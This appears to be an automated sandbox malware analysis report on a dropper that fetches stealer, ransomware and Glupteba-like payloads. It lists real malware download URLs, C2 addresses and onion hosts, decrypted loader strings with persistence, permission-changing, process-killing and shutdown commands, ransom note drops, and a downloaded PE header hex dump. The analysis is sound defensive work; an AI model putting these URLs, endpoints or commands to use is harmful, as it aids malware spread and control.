Source: http://185.172.128.19/ghsdh39s/index.phpo	Virustotal: Detection: 22%	Perma Link
Source: http://china.dhabigroup.top/_errorpages/spfasiazx.exe	Virustotal: Detection: 26%	Perma Link
Source: https://edarululoom.com/Kolodi.exe	Virustotal: Detection: 18%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Desktop\a\Creal.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\Desktop\a\build3.exe	ReversingLabs: Detection: 77%
Source: C:\Users\user\Desktop\a\somzx.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\Desktop\a\spfasiazx.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\Desktop\a\spfasiazx.exe.loqw (copy)	ReversingLabs: Detection: 27%
Source: C:\Users\user\Desktop\a\wlanext.exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\a\wlanext.exe.loqw (copy)	ReversingLabs: Detection: 37%

Multi AV Scanner detection for submitted file

Source: New_Text_Document_mod.exse.exe	ReversingLabs: Detection: 16%
Source: New_Text_Document_mod.exse.exe	Virustotal: Detection: 20%			Perma Link

Yara detected FormBook

Source: Yara match

File source: 00000031.00000002.2285780080.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Glupteba

Source: Yara match	File source: 32.3.e0cbefcb1af40c7d4aff4aca26621a98.exe.37c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000003.1877742033.0000000003C02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Machine Learning detection for sample

Source: New_Text_Document_mod.exse.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: 185.172.128.19
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: /ghsdh39s/index.php
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: 4.12
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: S-%lu-
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: %-lu
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: -%lu
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: cd1f156d67
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Utsysc.exe
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: SCHTASKS
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: /Create /SC MINUTE /MO 1 /TN
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: /TR "
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: " /F
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Startup
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: cmd /C RMDIR /s/q
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: rundll32
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: /Delete /TN "
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Programs
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: %USERPROFILE%
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: \App
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: POST
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: cred.dll\|clip.dll\|
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Main
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: http://
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: https://
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: /Plugins/
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: &unit=
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: shell32.dll
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: kernel32.dll
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: GetNativeSystemInfo
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: ProgramData\
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: AVAST Software
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Avira
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Kaspersky Lab
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: ESET
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Panda Security
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Doctor Web
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: 360TotalSecurity
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Bitdefender
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Norton
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Sophos
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Comodo
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: WinDefender
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: 0123456789
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: ------
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: ?scr=1
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: .jpg
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: ComputerName
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: -unicode-
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: VideoID
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: \0000
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: DefaultSettings.XResolution
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: DefaultSettings.YResolution
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: ProductName
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: 2019
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: 2022
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: 2016
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: CurrentBuild
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: echo Y\|CACLS "
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: " /P "
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: CACLS "
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: :R" /E
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: :F" /E
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: &&Exit
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: rundll32.exe
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: "taskkill /f /im "
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: " && timeout 1 && del
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: && Exit"
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: " && ren
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: &&
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: Powershell.exe
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: -executionpolicy remotesigned -File "
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: shutdown -s -t 0
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: st=s
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: s1
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: M
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: D
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: k^
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: hB
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: H
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: pa
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: O
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: E
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: I5
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: I
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: /w']fC
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: O
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: vw(hF=
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: -^
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: iJ\|
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: 9B
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: i*\|
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: E
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: 9=
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: I~
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: 9=
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: 9=
Source: 11.0.build3.exe.d20000.0.unpack	String decryptor: I

Bitcoin Miner

Yara detected Glupteba

Source: Yara match	File source: 32.3.e0cbefcb1af40c7d4aff4aca26621a98.exe.37c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000003.1877742033.0000000003C02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\a\buildz.exe	Unpacked PE file: 33.2.buildz.exe.400000.0.unpack
Source: C:\Users\user\Desktop\a\buildz.exe	Unpacked PE file: 42.2.buildz.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	Unpacked PE file: 44.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Unpacked PE file: 45.2.buildz.exe.400000.0.unpack

Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\_readme.txt
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\$WinREAgent\_readme.txt
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\$WinREAgent\Scratch\_readme.txt
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\_readme.txt

Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.180:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.52:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.4:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.224:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.86.119.6:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.217.120:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.195.16:443 -> 192.168.2.4:50010 version: TLS 1.2

Source: New_Text_Document_mod.exse.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Lpfy.pdbSHA256 source: spfasiazx.exe, 00000002.00000000.1664008993.0000000000D12000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: Creal.exe, 00000012.00000003.1820582722.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Rktv.pdbSHA256 source: alex.exe, 0000000C.00000000.1730115148.0000000000A82000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: uC:\Windows\dll\System.pdb source: spfasiazx.exe, 00000004.00000002.1715482495.00000000010D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: Creal.exe, 00000012.00000003.1807872223.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\woveki.pdb source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000000.1765612767.0000000000807000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: DC:\woveki.pdb source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000000.1765612767.0000000000807000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: Lpfy.pdb source: spfasiazx.exe, 00000002.00000000.1664008993.0000000000D12000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Creal.exe, 00000012.00000003.1806013965.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: Creal.exe, 00000012.00000003.1806013965.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: uindows\Lpfy.pdbpdbpfy.pdb\|9\ source: spfasiazx.exe, 00000004.00000002.1715482495.00000000010D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: Creal.exe, 00000012.00000003.1807789066.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: Creal.exe, 00000012.00000003.1806435544.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: buildz.exe, buildz.exe, 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: Creal.exe, 00000012.00000003.1819290471.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: Creal.exe, 00000012.00000003.1807497875.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: Creal.exe, 00000012.00000003.1807625410.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_uuid.pdb source: Creal.exe, 00000012.00000003.1810005632.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: Creal.exe, 00000012.00000003.1806534825.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: Creal.exe, 00000012.00000003.1807980644.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\exe\Lpfy.pdb source: spfasiazx.exe, 00000004.00000002.1715482495.00000000010D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: Creal.exe, 00000012.00000003.1807625410.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: Creal.exe, 00000012.00000003.1806656486.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: buildz.exe, 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: Creal.exe, 00000012.00000003.1810104772.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n(C:\Windows\Lpfy.pdb source: spfasiazx.exe, 00000004.00000002.1714977892.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Rktv.pdb source: alex.exe, 0000000C.00000000.1730115148.0000000000A82000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: Creal.exe, 00000012.00000003.1808367621.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb''&GCTL source: Creal.exe, 00000012.00000003.1810104772.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: Creal.exe, 00000012.00000003.1806435544.000001D16E957000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\a\buildz.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D5DC0F FindFirstFileExW,_free,FindNextFileW,_free,FindClose,_free,	11_2_00D5DC0F
Source: C:\Users\user\Desktop\a\wlanext.exe	Code function: 14_2_004061FB FindFirstFileA,FindClose,	14_2_004061FB
Source: C:\Users\user\Desktop\a\wlanext.exe	Code function: 14_2_00405799 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	14_2_00405799
Source: C:\Users\user\Desktop\a\wlanext.exe	Code function: 14_2_0040270B FindFirstFileA,	14_2_0040270B
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B77E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	18_2_00007FF738B77E4C
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B688D0 FindFirstFileExW,FindClose,	18_2_00007FF738B688D0
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B81EE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	18_2_00007FF738B81EE4
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B77E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	18_2_00007FF738B77E4C

Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2022896 ET CURRENT_EVENTS SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016 192.168.2.4:49730 -> 172.67.195.16:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://zexeq.com/test1/get.php
Source: Malware configuration extractor	IPs: 185.172.128.19

Found Tor onion address

Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: s25519: internal error: setShortBytes called with a long stringhttp2: Transport closing idle conn %p (forSingleUse=%v, maxStream=%v)http://vcr4vuv4sf5233btfy7xboezl7umjw7rljdmaeztmmf4s6k2ivinj3yd.oniontls: handshake message of length %d bytes exceeds maximum o
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: nvalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackint
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2

Yara detected Generic Downloader

Source: Yara match	File source: 12.2.alex.exe.43c7668.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.438ca48.3.raw.unpack, type: UNPACKEDPE

Source: unknown

Network traffic detected: IP country count 10

Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 45.33.104.46:587
Source: global traffic	TCP traffic: 192.168.2.4:49791 -> 116.202.177.141:3000

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 14:34:59 GMTContent-Type: application/octet-streamContent-Length: 661504Connection: keep-aliveLast-Modified: Wed, 20 Dec 2023 10:51:23 GMTETag: "a1800-60ceec397c907"Cache-Control: max-age=14400CF-Cache-Status: REVALIDATEDAccept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nBw%2FhE3oPeKGRu1%2FDVIBAMwKJLHUm9qkrH%2BckF8RpoWk1daR54NyAvq1ZIRlg3hWfRb0wdDCYLTipgJvgo4mu40O%2BIjQbJcSpizizaVef6DqPIqJoaxeda2%2BcxGR%2F5GVCHcBN41%2BzQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83889bfa2e42749e-MIAalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 aa c6 82 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 0c 0a 00 00 0a 00 00 00 00 00 00 0e 2a 0a 00 00 20 00 00 00 40 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0a 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bb 29 0a 00 4f 00 00 00 00 40 0a 00 1c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0a 00 0c 00 00 00 68 12 0a 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 14 0a 0a 00 00 20 00 00 00 0c 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 1c 06 00 00 00 40 0a 00 00 08 00 00 00 0e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 0a 00 00 02 00 00 00 16 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ef 29 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 8c 88 00 00 8c 26 04 00 03 00 00 00 1c 00 00 06 18 af 04 00 50 63 05 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELe0* @@ @)O@`hT H.text `.rsrc@@@.reloc`@B)H&Pc
